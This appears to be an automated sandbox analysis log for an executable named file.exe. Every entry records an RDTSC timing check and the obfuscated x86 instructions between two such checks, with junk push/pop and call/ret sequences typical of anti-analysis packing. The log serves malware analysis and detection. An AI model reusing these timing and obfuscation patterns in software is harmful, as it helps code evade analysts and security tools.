Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C63BD second address: 4C6432 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD9A93E11D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FD9A93E11D8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jmp 00007FD9A93E11E2h 0x0000002e mov edi, dword ptr [ebp+122D31EBh] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FD9A93E11D8h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 push 00000000h 0x00000052 mov bx, F8D7h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a pushad 0x0000005b popad 0x0000005c pop eax 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6432 second address: 4C6438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6438 second address: 4C643C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE223 second address: 4BE22D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE22D second address: 4BE297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD9A93E11D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f je 00007FD9A93E11DBh 0x00000015 mov edi, 131D731Fh 0x0000001a push dword ptr fs:[00000000h] 0x00000021 movzx edi, cx 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FD9A93E11D8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 add bh, 0000001Fh 0x00000048 mov eax, dword ptr [ebp+122D0519h] 0x0000004e or edi, dword ptr [ebp+122D1CA3h] 0x00000054 push FFFFFFFFh 0x00000056 nop 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jns 00007FD9A93E11D6h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE297 second address: 4BE29D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0256 second address: 4C0268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0268 second address: 4C0316 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD9A885D71Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push ebx 0x0000000e adc ebx, 55ED5BADh 0x00000014 pop edi 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FD9A885D718h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov dword ptr [ebp+122D1C7Fh], ebx 0x00000043 mov eax, dword ptr [ebp+122D02B1h] 0x00000049 push 00000000h 0x0000004b push esi 0x0000004c call 00007FD9A885D718h 0x00000051 pop esi 0x00000052 mov dword ptr [esp+04h], esi 0x00000056 add dword ptr [esp+04h], 0000001Bh 0x0000005e inc esi 0x0000005f push esi 0x00000060 ret 0x00000061 pop esi 0x00000062 ret 0x00000063 push FFFFFFFFh 0x00000065 mov dword ptr [ebp+122D2915h], esi 0x0000006b nop 0x0000006c pushad 0x0000006d push esi 0x0000006e jmp 00007FD9A885D727h 0x00000073 pop esi 0x00000074 ja 00007FD9A885D718h 0x0000007a popad 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0316 second address: 4C0333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A93E11E8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C33E2 second address: 4C33E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C33E6 second address: 4C33EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C44D9 second address: 4C44F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D724h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C45E8 second address: 4C45ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB67F second address: 4CB683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB683 second address: 4CB697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB697 second address: 4CB6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 jmp 00007FD9A885D722h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FD9A885D716h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CDB45 second address: 4CDB4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CDB4B second address: 4CDB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD9A885D71Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A0C6 second address: 45A0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1BCB second address: 4D1BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1BD4 second address: 4D1BDB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1D29 second address: 4D1D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD9A885D716h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1D35 second address: 4D1D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1D39 second address: 4D1D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1EA7 second address: 4D1EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD9A93E11E2h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7587 second address: 4D75BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD9A885D724h 0x0000000b jmp 00007FD9A885D71Dh 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D75BB second address: 4D75CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FD9A93E11D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D75CE second address: 4D7607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FD9A885D71Fh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jns 00007FD9A885D716h 0x0000001e jmp 00007FD9A885D71Ah 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB507 second address: 4DB52E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD9A93E11E0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FD9A93E11DAh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB52E second address: 4DB53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD9A885D716h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB53B second address: 4DB540 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBC56 second address: 4DBC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DBF41 second address: 4DBF46 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC3B8 second address: 4DC3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC3C4 second address: 4DC3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC56A second address: 4DC580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A885D722h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460CC2 second address: 460CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1D9C second address: 4E1DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD9A885D716h 0x0000000a jnp 00007FD9A885D716h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F5C second address: 4E1F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F62 second address: 4E1F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F6A second address: 4E1F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F72 second address: 4E1F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007FD9A885D716h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD9A885D71Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F92 second address: 4E1F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2500 second address: 4E2506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2506 second address: 4E253A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD9A93E11D6h 0x0000000a popad 0x0000000b jc 00007FD9A93E11E2h 0x00000011 jnl 00007FD9A93E11D6h 0x00000017 jns 00007FD9A93E11D6h 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jne 00007FD9A93E11DAh 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 push esi 0x00000029 pop esi 0x0000002a push ecx 0x0000002b jne 00007FD9A93E11D6h 0x00000031 pushad 0x00000032 popad 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1A6F second address: 4E1A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007FD9A885D727h 0x0000000c jmp 00007FD9A885D71Eh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2B73 second address: 4E2B95 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD9A93E11F4h 0x00000008 jmp 00007FD9A93E11E8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5F07 second address: 4E5F2E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD9A885D720h 0x00000008 jmp 00007FD9A885D71Eh 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EBC42 second address: 4EBC58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9A93E11E0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA5B1 second address: 4EA5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA5B7 second address: 4EA5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 jmp 00007FD9A93E11E5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA75A second address: 4EA75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAA5E second address: 4EAA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007FD9A93E11D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAA6C second address: 4EAA9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD9A885D720h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAA9E second address: 4EAAA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAAA3 second address: 4EAAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAD5A second address: 4EAD5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAD5E second address: 4EAD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD9A885D728h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAD7E second address: 4EAD84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB1DF second address: 4EB1E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB601 second address: 4EB60D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF4A0 second address: 4EF4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF4A6 second address: 4EF4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF4AA second address: 4EF4B4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD9A885D71Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F49B7 second address: 4F49D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E8h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A62C2 second address: 4A62C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A63D8 second address: 4A63DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A63DE second address: 4A63E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A63E3 second address: 4A63E8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A664F second address: 4A6653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A680F second address: 4A6813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6813 second address: 4A6858 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD9A885D729h 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007FD9A885D71Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6858 second address: 4A685C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6963 second address: 4A696E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A696E second address: 4A6972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6972 second address: 4A69C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnl 00007FD9A885D716h 0x0000000d pop edi 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 mov edx, eax 0x00000012 nop 0x00000013 pushad 0x00000014 jnl 00007FD9A885D71Ch 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007FD9A885D720h 0x00000022 popad 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007FD9A885D72Dh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A69C7 second address: 4A69CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7091 second address: 4A7097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7097 second address: 4A709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A709C second address: 4A70A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70A2 second address: 4A70A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A73E6 second address: 4A7413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A885D71Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD9A885D722h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7413 second address: 4A7418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7418 second address: 4A7431 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FD9A885D716h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007FD9A885D716h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7431 second address: 4A744F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A744F second address: 4A745D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A745D second address: 4A7461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7461 second address: 4A7465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7465 second address: 4A746F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A74FC second address: 4A7501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
